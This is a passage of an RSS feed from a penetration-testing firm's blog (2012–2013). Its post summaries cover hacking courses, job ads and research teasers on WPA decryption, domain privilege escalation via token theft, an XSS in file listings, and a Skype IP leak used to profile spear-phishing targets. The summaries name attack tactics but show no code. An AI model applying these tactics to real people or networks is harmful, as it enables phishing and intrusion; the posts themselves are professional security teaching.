				<description>&lt;p&gt;&lt;img alt=&#34;&#34;  height=&#34;147&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2013/black-hat-vegas-2013-course-summaries/bacd67b78b41e5f65e71f08cf3ef27c8.gif&#34; title=&#34;01-2013-blackhat&#34; width=&#34;300&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;We have an updated breakdown of our BlackHat courses &lt;a href=&#34;http://sensepost.com/blackhat/&#34;&gt;here&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;With the &amp;#8216;early registration&amp;#8217; discount period coming to an end on May 31, I wanted to provide an overview of what courses we&amp;#8217;re offering and how those courses fit together.&lt;/p&gt;&#xA;&lt;p&gt;Please be sure to take advantage of these discounted prices whilst they&amp;#8217;re still available. This summary will help you decide which course is best for you&amp;#8230;&lt;/p&gt;&#xA;&lt;p&gt;1. &amp;#8220;&lt;a href=&#34;https://www.blackhat.com/us-13/training/hacking-by-numbers-cadet.html&#34;&gt;Cadet&lt;/a&gt;&amp;#8221;  is our intro course. It provides the theoretical and practical base required to get the most of our other courses. Don&amp;#8217;t let the introduction title put you off, this course sets the stage for the rest of the course, and indeed fills in many blanks people might have when performing offensive security assessments. We only offer it on the weekend (27th &amp;amp; 28th)  but its really popular so we&amp;#8217;ve opened a 2nd classroom. Plenty of space  available, so sign up!&lt;/p&gt;</description>
			</item>
			<item>
				<title>BlackOps Hacking Training – Las Vegas</title>
				<link>https://sensepost.com/blog/2013/blackops-hacking-training-las-vegas/</link>
				<pubDate>Thu, 23 May 2013 14:47:57 +0000</pubDate>
				<guid>https://sensepost.com/blog/2013/blackops-hacking-training-las-vegas/</guid>
				<description>&lt;p&gt;&lt;img alt=&#34;Get some.&#34;  height=&#34;126&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2013/blackops-hacking-training-las-vegas/63e0af642acf19a3ae9cef2c1eb4f694.png&#34; title=&#34;BlackOps&#34; width=&#34;150&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;BlackOps you say?&lt;/strong&gt;&lt;br /&gt;&#xA;At SensePost we have quite a &lt;a href=&#34;http://www.sensepost.com/training/&#34;&gt;range of courses&lt;/a&gt; in our &lt;em&gt;Hacking by Numbers&lt;/em&gt; series. We feel each one has its own special place. I&amp;#8217;ve delivered almost all the courses over the years, but my somewhat biased favourite is our relatively new BlackOps Edition. Myself (&lt;a href=&#34;http://twitter.com/glennzw&#34;&gt;Glenn&lt;/a&gt;) and &lt;a href=&#34;http://twitter.com/vlad_what_is_your_twitter_account&#34;&gt;Vlad&lt;/a&gt; will be presenting this course at BlackHat Vegas in July.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Where Does BlackOps fit in?&lt;/strong&gt;&lt;br /&gt;&#xA;Our introductory courses (Cadet and Bootcamp) are meant to establish the hacker mindset &amp;#8211; they introduce the student to psychological aspects of an attacker, and build on that to demonstrate real world capability. BlackOps is designed for students who understand the basics of hacking (either from attending Bootcamp/Cadet, or from other experience) and want to acquire deeper knowledge of techniques. We built the course based on our 12 years of experience of performing security assessments.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Stay low, move fast, shoot first, die last, one shot, one kill, no luck, pure skill …</title>
				<link>https://sensepost.com/blog/2013/stay-low-move-fast-shoot-first-die-last-one-shot-one-kill-no-luck-pure-skill/</link>
				<pubDate>Thu, 23 May 2013 07:22:04 +0000</pubDate>
				<guid>https://sensepost.com/blog/2013/stay-low-move-fast-shoot-first-die-last-one-shot-one-kill-no-luck-pure-skill/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2013/stay-low-move-fast-shoot-first-die-last-one-shot-one-kill-no-luck-pure-skill/8edefe4706a3c6a6867e660e75399ba3.jpg&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;200&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2013/stay-low-move-fast-shoot-first-die-last-one-shot-one-kill-no-luck-pure-skill/e6bcb16dd26ee232c1d127d9686bc943.jpg&#34; title=&#34;L1003845&#34; width=&#34;300&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;#8217;re excited to be presenting our Hacking By Numbers &lt;a href=&#34;http://www.sensepost.com/services/training/combat&#34;&gt;Combat&lt;/a&gt; course again at &lt;a href=&#34;http://blackhat.com/us-13/training/index.html&#34;&gt;Black Hat USA&lt;/a&gt; this year. SensePost&amp;#8217;s resident German haxor dude Georg-Christian Pranschke will be presenting this year&amp;#8217;s course.  Combat fits in right at the top of our course offerings. No messing about, this really is the course where your sole aim is to &lt;strong&gt;&lt;em&gt;pwn as much of &lt;/em&gt;&lt;/strong&gt; the infrastructure and applications as possible. It is for the security professional looking to hone their skill-set, or to think like those in Unit 61398. There are a few assumptions though:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Your first mobile assessment</title>
				<link>https://sensepost.com/blog/2013/your-first-mobile-assessment/</link>
				<pubDate>Mon, 20 May 2013 07:39:35 +0000</pubDate>
				<guid>https://sensepost.com/blog/2013/your-first-mobile-assessment/</guid>
				<description>&lt;p&gt;Monday morning, raring for a week of pwnage and you see you&amp;#8217;ve just been handed a new assessment, awesome. The problem? It&amp;#8217;s a mobile assessment and you&amp;#8217;ve never done one before. What do you do, approach your team leader and ask for another assessment? He&amp;#8217;s going to tell you to learn how to do a mobile assessment and do it quickly, there are plenty more to come.&lt;/p&gt;&#xA;&lt;p&gt;Now you set out on your journey into mobile assessments and you get lucky, the application that needs to be assessed is an Android app. A few Google searches later and you are feeling pretty confident about this, Android assessments are meant to be easy, there are even a few tools out there that &amp;#8220;do it all&amp;#8221;. You download the latest and greatest version, run it and the app gets a clean bill of health. After all, the tool says so, there is no attack surface; no exposed intents and the permissions all check out. You compile your report, hand it off to the client and a week later the client gets owned through the application&amp;#8230; Apparently the backend servers were accepting application input without performing any authentication checks. Furthermore, all user input was trusted and no server side validation was being performed. What went wrong? How did you miss these basic mistakes? After-all, you followed all the steps, you ran the best tools and you ticked all the boxes. Unfortunately this approach is wrong, mobile assessments are not always simply about running a tool, a lot of the time they require the same steps used to test web applications, just applied in a different manner. This is where SensePost&amp;#8217;s &lt;a href=&#34;https://www.blackhat.com/us-13/training/hacking-by-numbers-mobile.html&#34; title=&#34;Hacking by numbers: Mobile&#34;&gt;Hacking by numbers: Mobile&lt;/a&gt; comes to the fore, the course aims to introduce you to mobile training from the ground up.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Wifi Hacking &amp; WPA/2 PSK traffic decryption</title>
				<link>https://sensepost.com/blog/2013/wifi-hacking-wpa/2-psk-traffic-decryption/</link>
				<pubDate>Thu, 09 May 2013 11:22:53 +0000</pubDate>
				<guid>https://sensepost.com/blog/2013/wifi-hacking-wpa/2-psk-traffic-decryption/</guid>
				<description>&lt;p&gt;When doing wireless assessments, I end up generating a ton of different scripts for various things that I thought it would be worth sharing. I&amp;#8217;m going to try write some of them up. This is the first one on decrypting WPA/2 PSK traffic. The second will cover some tricks/scripts for rogue access-points. If you are keen on learn further techniques or advancing your wifi hacking knowledge/capability as a whole, please check out the course &lt;a href=&#34;https://www.blackhat.com/us-13/training/hacking-by-numbers-unplugged.html&#34;&gt;Hacking by Numbers: Unplugged&lt;/a&gt;, I&amp;#8217;ll be teaching at BlackHat Las Vegas soon.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Windows Domain Privilege Escalation : Implementing PSLoggedOn in Metasploit (&#43; a bonus history module)</title>
				<link>https://sensepost.com/blog/2013/windows-domain-privilege-escalation-implementing-psloggedon-in-metasploit--a-bonus-history-module/</link>
				<pubDate>Mon, 22 Apr 2013 08:00:35 +0000</pubDate>
				<guid>https://sensepost.com/blog/2013/windows-domain-privilege-escalation-implementing-psloggedon-in-metasploit--a-bonus-history-module/</guid>
				<description>&lt;p&gt;There are multiple paths one could take to getting Domain Admin on a Microsoft Windows Active Directory Domain. One common method for achieving this is to start by finding a system where a privileged domain account, such as a domain admin, is logged into or has recently been logged into. Once access to this system has been gained, either stealing their security tokens (ala Incognito or pass-the-hash attacks) or  querying Digest Authentication (with Mimikatz/WCE) to get their clear-text password. The problem is finding out where these user&amp;#8217;s are logged in.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Analysis of Security in a P2P storage cloud</title>
				<link>https://sensepost.com/blog/2013/analysis-of-security-in-a-p2p-storage-cloud/</link>
				<pubDate>Fri, 12 Apr 2013 14:40:38 +0000</pubDate>
				<guid>https://sensepost.com/blog/2013/analysis-of-security-in-a-p2p-storage-cloud/</guid>
				<description>&lt;p&gt;A cloud storage service such as Microsoft SkyDrive requires building  data centers as well as operational and maintenance costs. An alternative approach  is based on distributed computing model which utilizes portion of the storage and processing resources of  consumer level computers and SME NAS devices to form a peer to peer storage system. The members contribute some of their local storage space to the system and in return receive &amp;#8220;online backup and data sharing&amp;#8221; service. Providing data confidentiality, integrity and availability in such de-centerlized storage system is a big challenge to be addressed. As the cost of  data storage devices declines, there is a debate that whether the P2P storage could really be cost saving or not. I leave this debate to the critics and instead I will look into a peer to peer storage system and study its security measures and possible issues.  An overview of this system&amp;#8217;s architecture is shown in the following picture:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Google Docs XSS – no bounty today</title>
				<link>https://sensepost.com/blog/2013/google-docs-xss-no-bounty-today/</link>
				<pubDate>Mon, 04 Mar 2013 12:49:31 +0000</pubDate>
				<guid>https://sensepost.com/blog/2013/google-docs-xss-no-bounty-today/</guid>
				<description>&lt;p&gt;A few days ago, during one of those nights with the baby crying at 2:00 am and the only thing you can do is to read emails, I realised that Gmail shows the content of compressed files when reading them in Google Docs. As often is the case at SensePost, the &amp;#8220;think evil &amp;#8482;&amp;#8221; came to me and I started to ponder the possibilities of injecting HTML inside the file listing.  The idea is actually rather simple. Looking at the file format of a .zip file we see the following:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Black Hat Europe – Bootcamp Training</title>
				<link>https://sensepost.com/blog/2013/black-hat-europe-bootcamp-training/</link>
				<pubDate>Mon, 04 Mar 2013 08:36:53 +0000</pubDate>
				<guid>https://sensepost.com/blog/2013/black-hat-europe-bootcamp-training/</guid>
				<description>&lt;p&gt;&lt;img alt=&#34;Bootcamp&#34;  src=&#34;http://sensepost.com/cms/sensepost_bootcamp_logo.png&#34; /&gt;SensePost will be at &lt;a href=&#34;https://www.blackhat.com/eu-13/&#34;&gt;Black Hat Europe 2013&lt;/a&gt; to deliver the &lt;strong&gt;Bootcamp&lt;/strong&gt; module of the &lt;a href=&#34;http://sensepost.com/services/training&#34;&gt;Hacking by Numbers&lt;/a&gt; series. This method based introductory course emphasizes the structure, approach, and thought-processes involved in hacking (over tools and tricks). The course is popular with beginners, who gain their first view into the world of hacking, as well as experts, who appreciate the sound, structured approach.&lt;/p&gt;&#xA;&lt;p&gt;A break down of what will be covered during this course:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Vulnerability Management Analyst Position</title>
				<link>https://sensepost.com/blog/2013/vulnerability-management-analyst-position/</link>
				<pubDate>Mon, 04 Mar 2013 07:25:37 +0000</pubDate>
				<guid>https://sensepost.com/blog/2013/vulnerability-management-analyst-position/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2013/vulnerability-management-analyst-position/5184b7a8992f3862232d99aafa03a7b5.jpg&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;200&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2013/vulnerability-management-analyst-position/83a73c5a58cbd983eec19537a32119e3.jpg&#34; title=&#34;L1003851&#34; width=&#34;300&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2013/vulnerability-management-analyst-position/5184b7a8992f3862232d99aafa03a7b5.jpg&#34;&gt;&lt;/a&gt;Have a keen interest on scanning over 12000 IP&amp;#8217;s a week for vulnerabilities? Excited about the thought of assessing over 100 web applications for common vulnerabilities? If so, an exciting, as well as demanding, position has become available within the Managed Vulnerability Scanning (MVS) team at SensePost.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Job Title: &lt;/strong&gt;Vulnerability Management Analyst&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Salary Range:&lt;/strong&gt; Industry standard, commensurate with experience&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Location:&lt;/strong&gt; Johannesburg/Pretoria, South Africa&lt;/p&gt;&#xA;&lt;p&gt;We are looking for a talented person to join our MVS team to help manage the technology that makes up our Broadview suite and, more importantly, finding vulnerabilities, interpreting the results and manually verifying them. We are after talented people with a broad skill set to join our growing team of consultants. Our BroadView suite of products consists of our extensive vulnerability scanning engine, which looks at both the network-layer and the application layer, as well as our extensive DNS footprinting technologies.&lt;/p&gt;</description>
			</item>
			<item>
				<title>IT Network Packet Wrangler</title>
				<link>https://sensepost.com/blog/2013/it-network-packet-wrangler/</link>
				<pubDate>Sat, 02 Mar 2013 10:32:28 +0000</pubDate>
				<guid>https://sensepost.com/blog/2013/it-network-packet-wrangler/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2013/it-network-packet-wrangler/158810329d7d1383323ef36a5b6b1ca8.jpg&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;180&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2013/it-network-packet-wrangler/bf9d7424e032e93eb2c66c0c00a5b6f3.jpg&#34; title=&#34;IMG_2672&#34; width=&#34;300&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;As we grow and operate on a number of continents, so does our dependence on a rock-solid IT infrastructure. We are expanding our repertoire to include a greater collection of Linux/Open Source/Windows and OS X products.  With this, we are on the look-out for a rock star to wrangle control of our internal networks, external cloud infrastructure and help us us utilise technology in a way to make us even better.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Adolescence: 13 years of SensePost</title>
				<link>https://sensepost.com/blog/2013/adolescence-13-years-of-sensepost/</link>
				<pubDate>Thu, 14 Feb 2013 18:13:51 +0000</pubDate>
				<guid>https://sensepost.com/blog/2013/adolescence-13-years-of-sensepost/</guid>
				<description>&lt;p&gt;Today was our 13th birthday. In &lt;a href=&#34;http://www.fatdux.com/blog/2009/09/22/calculating-the-length-of-an-internet-year/&#34;&gt;Internet years&lt;/a&gt;, that&amp;#8217;s a long time. Depending on your outlook, we&amp;#8217;re either almost a pensioner or just started our troublesome teens. We&amp;#8217;d like to think it&amp;#8217;s somewhere in the middle.  The Internet has changed lots from when SensePost was first started on the 14th February 2000. Our first year saw the infamous &lt;a href=&#34;http://en.wikipedia.org/wiki/ILOVEYOU&#34;&gt;ILOVEYOU&lt;/a&gt; worm wreak havoc across the net, and we learned &lt;a href=&#34;http://www.1337day.com/exploit/8251&#34;&gt;some&lt;/a&gt;, &lt;a href=&#34;http://www.fortiguard.com/encyclopedia/vulnerability/sensepost.exe.access.html&#34;&gt;lessons&lt;/a&gt; on vulnerability disclosure, a year later we moved on to papers about &amp;#8220;&lt;a href=&#34;http://www.cgisecurity.com/lib/SQLinsertion.htm&#34;&gt;SQL insertion&lt;/a&gt;&amp;#8221; and &lt;a href=&#34;https://www.blackhat.com/presentations/bh-asia-02/Sensepost/bh-asia-02-sensepost.pdf&#34;&gt;advanced trojans&lt;/a&gt;. And the research continues today.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Poking Around in Android Memory</title>
				<link>https://sensepost.com/blog/2013/poking-around-in-android-memory/</link>
				<pubDate>Mon, 11 Feb 2013 12:36:22 +0000</pubDate>
				<guid>https://sensepost.com/blog/2013/poking-around-in-android-memory/</guid>
				<description>&lt;p&gt;Taking inspiration from Vlad&amp;#8217;s &lt;a href=&#34;http://sensepost.com/blog/7802.html&#34;&gt;post&lt;/a&gt; I&amp;#8217;ve been playing around with alternate means of viewing traffic/data generated by Android apps.&lt;/p&gt;&#xA;&lt;p&gt;The technique that has given me most joy is memory analysis. Each application on android is run in the Dalvik VM and is allocated it&amp;#8217;s own heap space. Android being android, free and open, numerous ways of dumping the contents of the application heap exist. There&amp;#8217;s even a method for it in the android.os.Debug library: android.os.Debug.dumpHprofData(String filename). You can also cause a heap dump by issuing the kill command:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Client Side Fingerprinting in Prep for SE</title>
				<link>https://sensepost.com/blog/2013/client-side-fingerprinting-in-prep-for-se/</link>
				<pubDate>Wed, 16 Jan 2013 12:45:30 +0000</pubDate>
				<guid>https://sensepost.com/blog/2013/client-side-fingerprinting-in-prep-for-se/</guid>
				<description>&lt;p&gt;On a recent engagement, we were tasked with trying to gain access to the network via a phishing attack (specifically phishing only). In preparation for the attack, I wanted to see what software they were running, to see if Vlad and I could target them in a more intelligent fashion. As this technique worked well, I thought this was a neat trick worth sharing.&lt;/p&gt;&#xA;&lt;p&gt;First off the approach was to perform some footprinting to see if I could find their likely Internet breakout. While I found the likely range (it had their mail server in it) I couldn&amp;#8217;t find the exact IP they were being NAT&amp;#8217;ed to. Not wanting to stop there, I tried out &lt;a href=&#34;http://www.sensepost.com/blog/7698.html&#34;&gt;Vlad&amp;#8217;s Skype IP disclosure trick&lt;/a&gt;, which worked like a charm. What&amp;#8217;s cool about this approach is that it gives you both the internal and external IP of the user (so you can confirm they are connected to their internal network if you have another internal IP leak). You don&amp;#8217;t even need to be &amp;#8220;friends&amp;#8221;,  you can just search for people who list the company in their details, or do some more advanced OSINT to find Skype IDs of employees.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Dangers of Custom ASP.NET HttpHandlers</title>
				<link>https://sensepost.com/blog/2012/dangers-of-custom-asp.net-httphandlers/</link>
				<pubDate>Thu, 13 Dec 2012 17:31:00 +0000</pubDate>
				<guid>https://sensepost.com/blog/2012/dangers-of-custom-asp.net-httphandlers/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;http://msdn.microsoft.com/en-us/library/bb398986%28v=vs.100%29.aspx&#34;&gt;ASP.NET HttpHandlers &lt;/a&gt;are interesting components of a .NET web application when performing security assessments, mainly due to the fact they are the most exposed part of the application processing client requests in HttpContext level and at the same time, not yet part of the official ASP.NET framework.&lt;/p&gt;&#xA;&lt;p&gt;As a result, data validation vulnerabilities in custom HttpHandlers can be exploited far easier than issues on the inner layer components. However, they are mostly overlooked during the web application tests for two reasons:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Snoopy Release</title>
				<link>https://sensepost.com/blog/2012/snoopy-release/</link>
				<pubDate>Thu, 06 Dec 2012 16:53:39 +0000</pubDate>
				<guid>https://sensepost.com/blog/2012/snoopy-release/</guid>
				<description>&lt;p&gt;We &lt;a href=&#34;http://sensepost.com/blog/7557.html&#34;&gt;blogged&lt;/a&gt; a little while back about the Snoopy demonstration given at &lt;a href=&#34;http://sensepost.com/blog/7557.html&#34;&gt;44Con&lt;/a&gt; London. A similar talk was given at &lt;a href=&#34;http://vimeo.com/52661183&#34;&gt;ZaCon&lt;/a&gt; in South Africa. Whilst we&amp;#8217;ve been promising a release for a while now, we wanted to make sure all the components were functioning as expected and easy to use. After an army of hundreds had tested it (ok, just a few), you may now obtain a copy of Snoopy from &lt;a href=&#34;https://github.com/sensepost/Snoopy&#34;&gt;here&lt;/a&gt;. Below are some instructions on getting it running (check out the &lt;a href=&#34;https://github.com/sensepost/Snoopy/blob/master/README.md&#34;&gt;README&lt;/a&gt; file from the installer for additional info).&lt;/p&gt;</description>
			</item>
			<item>
				<title>SensePost Hackathon 2012</title>
				<link>https://sensepost.com/blog/2012/sensepost-hackathon-2012/</link>
				<pubDate>Mon, 03 Dec 2012 12:08:56 +0000</pubDate>
				<guid>https://sensepost.com/blog/2012/sensepost-hackathon-2012/</guid>
				<description>&lt;div &gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2012/sensepost-hackathon-2012/4d206f358ba04da9453ae1b0b031dbd2.jpg&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;150&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2012/sensepost-hackathon-2012/b8eb0c487bcabac6d72643c9d1d2b395.jpg&#34; title=&#34;L1003857&#34; width=&#34;150&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2012/sensepost-hackathon-2012/595ab672d10c4725e0ba328f94447609.jpg&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;150&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2012/sensepost-hackathon-2012/2d796c6dd48f2d0b8d5dd5b0281e035f.jpg&#34; title=&#34;L1003858&#34; width=&#34;150&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2012/sensepost-hackathon-2012/8edefe4706a3c6a6867e660e75399ba3.jpg&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;150&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2012/sensepost-hackathon-2012/4f2471565aecb0eb348936be57f048e2.jpg&#34; title=&#34;L1003845&#34; width=&#34;150&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2012/sensepost-hackathon-2012/25afff436657d5f70ffe4e56cd38f803.jpg&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;150&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2012/sensepost-hackathon-2012/b6711e11c0d7c3eaed1721b68fbd25a8.jpg&#34; title=&#34;L1003841&#34; width=&#34;150&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;p&gt;Last month saw the inaugural SensePost hackathon happen in our new offices in Brooklyn, South Africa. It was the first time the entire company would be in the same room, let alone the same continent, together and away from the pressures of daily work constraints. The idea was simple: weeks before the date, we sent out emails to everyone in the company (not just the tech teams but everyone) to think about ideas, tools, approaches or new business lines that they felt would make us even better at what we did.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Brad the Nurse</title>
				<link>https://sensepost.com/blog/2012/brad-the-nurse/</link>
				<pubDate>Wed, 28 Nov 2012 10:29:50 +0000</pubDate>
				<guid>https://sensepost.com/blog/2012/brad-the-nurse/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2012/brad-the-nurse/56cd997db28479910a416790d518e42e.jpg&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;150&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2012/brad-the-nurse/3b68dbf0a5f9ec30cfde463366c44864.jpg&#34; title=&#34;Brad_Smith&#34; width=&#34;150&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Organising our yearly training event at Blackhat in Las Vegas is no mean feat. With well over two hundred students to prepare for, the size of Caesars Palace to contend with (last year, we, on average, walked 35 kilometers in distance just inside the hotel) and the manic environment, it&amp;#8217;s a stressful environment.&lt;/p&gt;&#xA;&lt;p&gt;There are many Blackhat helpers running about, but none like &lt;a href=&#34;http://www.bradthenurse.com/&#34;&gt;Mr Brad &amp;#8216;the Nurse&amp;#8217; Smith&lt;/a&gt;. Brad would always be there popping his head into our rooms, making sure us plakkers had what we needed, when we needed it and always with that trademark smile. Armed with his two-way radios (almost like a western gun-slinger in the way he was able to whip them off and put them into action in seconds), he knew who to call and where to get it. This video from Toolswatch, shot at his last Blackhat, summed up his enthusiasm:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Skype Passive IP Disclosure Vulnerability</title>
				<link>https://sensepost.com/blog/2012/skype-passive-ip-disclosure-vulnerability/</link>
				<pubDate>Mon, 26 Nov 2012 01:13:43 +0000</pubDate>
				<guid>https://sensepost.com/blog/2012/skype-passive-ip-disclosure-vulnerability/</guid>
				<description>&lt;p&gt;When performing spear phishing attacks, the more information you have at your disposal, the better. One tactic we thought useful was &lt;a href=&#34;http://www.teknue.com/security/skype-security-flaw-allows-access-to-users-ip/&#34;&gt;this&lt;/a&gt; Skype security flaw disclosed in the early days of 2012 (discovered by one of the Skype engineers much earlier).&lt;a href=&#34;https://sensepost.com/img/pages/blog/2012/skype-passive-ip-disclosure-vulnerability/033cc41b7a4707cdb7a9a8cbf70cef6d.png&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;300&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2012/skype-passive-ip-disclosure-vulnerability/033cc41b7a4707cdb7a9a8cbf70cef6d.png&#34; title=&#34;skype_dr&#34; width=&#34;300&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;For those who haven&amp;#8217;t heard of it  &amp;#8211; this vulnerability allows an attacker to passively disclose victims external, as well as internal, IP addresses in a matter of seconds, by  viewing the victims VCard through an &amp;#8216;Add Contact&amp;#8217; form.&lt;/p&gt;</description>
			</item>
			<item>
				<title>T-Shirt Shell Competition</title>
				<link>https://sensepost.com/blog/2012/t-shirt-shell-competition/</link>
				<pubDate>Fri, 23 Nov 2012 09:07:17 +0000</pubDate>
				<guid>https://sensepost.com/blog/2012/t-shirt-shell-competition/</guid>
				<description>&lt;p&gt;For our internal hackathon, we wanted to produce some shirts. We ran a competition to see who could produce a reverse shell invocation most worthy of inclusion on a shirt. Here are the submissions, which may be instructive or useful. But first; the winning t-shirt design goes to Vlad (-islav, baby don&amp;#8217;t hurt me, don&amp;#8217;t hurt me, no more):&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2012/t-shirt-shell-competition/a1cfc139c9898d6af98b29d5f5951e4a.jpg&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;300&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2012/t-shirt-shell-competition/cb9f7df504ab85af961fee30aba2a3fb.jpg&#34; title=&#34;IMG_2338&#34; width=&#34;300&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Funny story; the printer left out the decimal points between the IP, so we had to use a permanent marker to put them back. Oh, also, many of these were originally taken from somewhere else then modified, we don&amp;#8217;t claim the full idea as our own. Anyway, onto the shells!&lt;/p&gt;</description>
			</item>
			<item>
				<title>HTTPS  via WinAPI</title>
				<link>https://sensepost.com/blog/2012/https-via-winapi/</link>
				<pubDate>Mon, 19 Nov 2012 14:30:41 +0000</pubDate>
				<guid>https://sensepost.com/blog/2012/https-via-winapi/</guid>
				<description>&lt;p&gt;Hijacking SSL sessions initiated by the browser is a trivial task. The challenge comes when trying to intercept SSL traffic in applications such as Dropbox or Easynote. These apps create additional measures to verify certificates and their integrity, hence not very friendly to perform with Burp.&lt;/p&gt;&#xA;&lt;p&gt;One quick solution to the above problem is hiding one level above (or below :) the OSI layer. Live API monitoring // hooking can be used to capture and manipulate  HTTP/S &amp;#8220;traffic&amp;#8221; before it being placed on the wire, more or less the same way are used to doing it in Burp.&lt;/p&gt;</description>
			</item>
			<item>
				<title>CSIR Cyber Games</title>
				<link>https://sensepost.com/blog/2012/csir-cyber-games/</link>
				<pubDate>Fri, 09 Nov 2012 07:27:47 +0000</pubDate>
				<guid>https://sensepost.com/blog/2012/csir-cyber-games/</guid>
				<description>&lt;p&gt;The Council for Scientific and Industrial Research (CSIR) recently hosted the nation Cyber Games Challenge as part of Cyber Security Awareness month. The challenge pit teams of 4-5 members from different institutes against each other in a Capture the Flag style contest. In total there were  seven teams, with two teams from Rhodes university, two from the University of Pretoria and three teams from the CSIR.&lt;/p&gt;&#xA;&lt;p&gt;The games were designed around an attack/defence scenario, where teams would be given identical infrastructure which they could then patch against vulnerabilities and at the same time identify possible attack vectors to use against rival teams. After the initial reconnaissance phase teams were expected to conduct a basic forensic investigation to find &amp;#8216;flags&amp;#8217; hidden throughout their systems. These &amp;#8216;flags&amp;#8217; were hidden in images, pcap files, alternative data streams and in plain sight.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Charity Drive – Antarctica Expedition</title>
				<link>https://sensepost.com/blog/2012/charity-drive-antarctica-expedition/</link>
				<pubDate>Tue, 06 Nov 2012 08:10:28 +0000</pubDate>
				<guid>https://sensepost.com/blog/2012/charity-drive-antarctica-expedition/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;https://introonet.sensepost.com/blog/wp-content/uploads/2012/10/blog_strip_21.png&#34;&gt;\&lt;/a&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2012/charity-drive-antarctica-expedition/76aa5ee31ed65233629b755e6025930d.png&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;346&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2012/charity-drive-antarctica-expedition/eb1f1ff2bab6702c7414ebec63b6dc8e.png&#34; title=&#34;blog_strip_2&#34; width=&#34;819&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&lt;p&gt;&#xA;&lt;p&gt;Like many businesses we at SensePost are aware of how fortunate we are and and of the many around us who struggle to make ends meet day to day. We have a heart for our community and regularly supported charities and causes that touch us.&lt;/p&gt;&#xA;&lt;p&gt;In South Africa its not hard to find causes to support, but one that&amp;#8217;s particularly close to my heart is the Little Lambs Christian Daycare in a township in Cape Town called &amp;#8216;&lt;a href=&#34;http://en.wikipedia.org/wiki/Imizamo_Yethu&#34; target=&#34;_blank&#34;&gt;Imizamo Yethu&lt;/a&gt;&amp;#8216; (The People Have 